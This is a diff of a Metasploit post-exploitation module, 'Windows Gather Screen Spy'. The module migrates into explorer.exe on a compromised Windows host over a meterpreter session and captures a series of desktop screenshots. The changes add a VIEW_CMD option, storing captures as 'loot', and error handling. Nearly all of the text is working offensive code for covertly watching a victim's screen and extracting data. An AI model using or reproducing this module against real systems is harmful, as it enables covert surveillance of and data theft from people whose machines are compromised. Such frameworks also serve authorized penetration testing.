@@ -13,34 +13,39 @@ def initialize(info={})
13
13
super ( update_info ( info ,
14
14
'Name' => 'Windows Gather Screen Spy' ,
15
15
'Description' => %q{
16
- This module will incrementally take screenshots of the meterpreter host. This
16
+ This module will incrementally take desktop screenshots from the host. This
17
17
allows for screen spying which can be useful to determine if there is an active
18
18
user on a machine, or to record the screen for later data extraction.
19
+ NOTES: set VIEW_CMD to control how screenshots are opened/displayed, the file name
20
+ will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to
21
+ have the module do it's best...default browser for Windows, firefox for *nix, and
22
+ preview app for macs). 'eog -s -f -w' is a handy VIEW_CMD for *nix. To suppress
23
+ opening of screenshots all together, set the VIEW_CMD option to 'none'.
19
24
} ,
20
25
'License' => MSF_LICENSE ,
21
26
'Author' =>
22
27
[
23
28
'Roni Bachar <roni.bachar.blog[at]gmail.com>' , # original meterpreter script
24
29
'bannedit' , # post module
25
- 'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>' , # record support
30
+ 'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>' , # record/loot support,log x approach, nx
26
31
'Adrian Kubok' # better record file names
27
32
] ,
28
- 'Platform' => [ 'win' ] ,
33
+ 'Platform' => [ 'win' ] , # @todo add support for posix meterpreter somehow?
29
34
'SessionTypes' => [ 'meterpreter' ]
30
35
) )
31
36
32
37
register_options (
33
38
[
34
- OptInt . new ( 'DELAY' , [ false , 'Interval between screenshots in seconds' , 5 ] ) ,
35
- OptInt . new ( 'COUNT' , [ false , 'Number of screenshots to collect' , 60 ] ) ,
36
- OptString . new ( 'BROWSER ' , [ false , 'Browser to use for viewing screenshots' , 'firefox ' ] ) ,
37
- OptBool . new ( 'RECORD' , [ false , 'Record all screenshots to disk' , false ] )
39
+ OptInt . new ( 'DELAY' , [ true , 'Interval between screenshots in seconds' , 5 ] ) ,
40
+ OptInt . new ( 'COUNT' , [ true , 'Number of screenshots to collect' , 6 ] ) ,
41
+ OptString . new ( 'VIEW_CMD ' , [ false , 'Command to use for viewing screenshots (auto, none also accepted) ' , 'auto ' ] ) ,
42
+ OptBool . new ( 'RECORD' , [ true , 'Record all screenshots to disk by looting them ' , false ] )
38
43
] , self . class )
39
44
end
40
45
41
46
def run
42
47
host = session . session_host
43
- screenshot = Msf ::Config . install_root + "/data /" + host + ".jpg"
48
+ screenshot = Msf ::Config . get_config_root + "/logs /" + host + ".jpg"
44
49
45
50
migrate_explorer
46
51
if session . platform !~ /win32|win64/i
@@ -55,46 +60,73 @@ def run
55
60
return
56
61
end
57
62
58
- # here we check for the local platform and use default browsers
59
- # linux is the one question mark firefox is not necessarily a
60
- case ::Config ::CONFIG [ 'host' ] # neat trick to get the local system platform
61
- when /ming/
62
- cmd = "start #{ datastore [ 'BROWSER' ] } \" file://#{ screenshot } \" "
63
- when /linux/
64
- cmd = "#{ datastore [ 'BROWSER' ] } file://#{ screenshot } "
65
- when /apple/
66
- cmd = "open file://#{ screenshot } " # this will use preview
63
+ # here we check for the local platform to determine what to do when 'auto' is selected
64
+ if datastore [ 'VIEW_CMD' ] . downcase == 'auto'
65
+ case ::RbConfig ::CONFIG [ 'host_os' ]
66
+ when /mac|darwin/
67
+ cmd = "open file://#{ screenshot } " # this will use preview usually
68
+ when /mswin|win|mingw/
69
+ cmd = "start iexplore.exe \" file://#{ screenshot } \" "
70
+ when /linux|cygwin/
71
+ # This opens a new tab for each screenshot, but I don't see a better way
72
+ cmd = "firefox file://#{ screenshot } &"
73
+ else # bsd/sun/solaris might be different, but for now...
74
+ cmd = "firefox file://#{ screenshot } &"
75
+ end
76
+ elsif datastore [ 'VIEW_CMD' ] . downcase == 'none'
77
+ cmd = nil
78
+ else
79
+ cmd = "#{ datastore [ 'VIEW_CMD' ] } #{ screenshot } "
67
80
end
68
81
69
82
begin
70
83
count = datastore [ 'COUNT' ]
71
- print_status "Capturing %u screenshots with a delay of %u seconds" % [ count , datastore [ 'DELAY' ] ]
84
+ print_status "Capturing #{ count } screenshots with a delay of #{ datastore [ 'DELAY' ] } seconds"
72
85
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits
73
- leading_zeros = Math ::log ( count , 10 ) . round
86
+ leading_zeros = Math ::log10 ( count ) . round
87
+ file_locations = [ ]
74
88
count . times do |num |
75
89
select ( nil , nil , nil , datastore [ 'DELAY' ] )
76
- data = session . espia . espia_image_get_dev_screen
90
+ begin
91
+ data = session . espia . espia_image_get_dev_screen
92
+ rescue RequestError => e
93
+ print_error ( "Error taking the screenshot: #{ e . class } #{ e } #{ e . backtrace } " )
94
+ return false
95
+ end
77
96
if data
78
97
if datastore [ 'RECORD' ]
79
- # let's write it to disk using non-clobbering filename
80
- shot = Msf ::Config . install_root + "/data/" + host + ".screenshot.%0#{ leading_zeros } d.jpg" % num
81
- ss = ::File . new ( shot , 'wb' )
82
- ss . write ( data )
83
- ss . close
98
+ # let's loot it using non-clobbering filename, even tho this is the source filename, not dest
99
+ fn = "screenshot.%0#{ leading_zeros } d.jpg" % num
100
+ file_locations << store_loot ( "screenspy.screenshot" , "image/jpg" , session , data , fn , "Screenshot" )
84
101
end
85
102
86
- fd = ::File . new ( screenshot , 'wb' )
87
- fd . write ( data )
88
- fd . close
103
+ # also write to disk temporarily so we can display in browser. They may or may not have been RECORDed.
104
+ if cmd # do this if they have not suppressed VIEW_CMD display
105
+ fd = ::File . new ( screenshot , 'wb' )
106
+ fd . write ( data )
107
+ fd . close
108
+ end
89
109
end
90
- system ( cmd )
110
+ system ( cmd ) if cmd
91
111
end
92
- rescue :: Exception => e
93
- print_error ( "Error taking screenshot: #{ e . class } #{ e } #{ e . backtrace } " )
112
+ rescue IOError , Errno :: ENOENT => e
113
+ print_error ( "Error storing screenshot: #{ e . class } #{ e } #{ e . backtrace } " )
94
114
return
95
115
end
96
116
print_status ( "Screen Spying Complete" )
97
- ::File . delete ( screenshot )
117
+ if file_locations and not file_locations . empty?
118
+ print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot"
119
+ end
120
+ if cmd
121
+ # wait 2 secs so the last file can get opened before deletion
122
+ select ( nil , nil , nil , 2 )
123
+ begin
124
+ ::File . delete ( screenshot )
125
+ rescue Exception => e
126
+ print_error ( "Error deleting the temporary screenshot file: #{ e . class } #{ e } #{ e . backtrace } " )
127
+ print_error ( "This may be due to the file being in use if you are on a Windows platform" )
128
+ end
129
+ end
98
130
end
99
131
100
132
def migrate_explorer
@@ -105,9 +137,10 @@ def migrate_explorer
105
137
begin
106
138
session . core . migrate ( p [ 'pid' ] . to_i )
107
139
print_status ( "Migration successful" )
140
+ return p [ 'pid' ]
108
141
rescue
109
142
print_status ( "Migration failed." )
110
- return
143
+ return nil
111
144
end
112
145
end
113
146
end
0 commit comments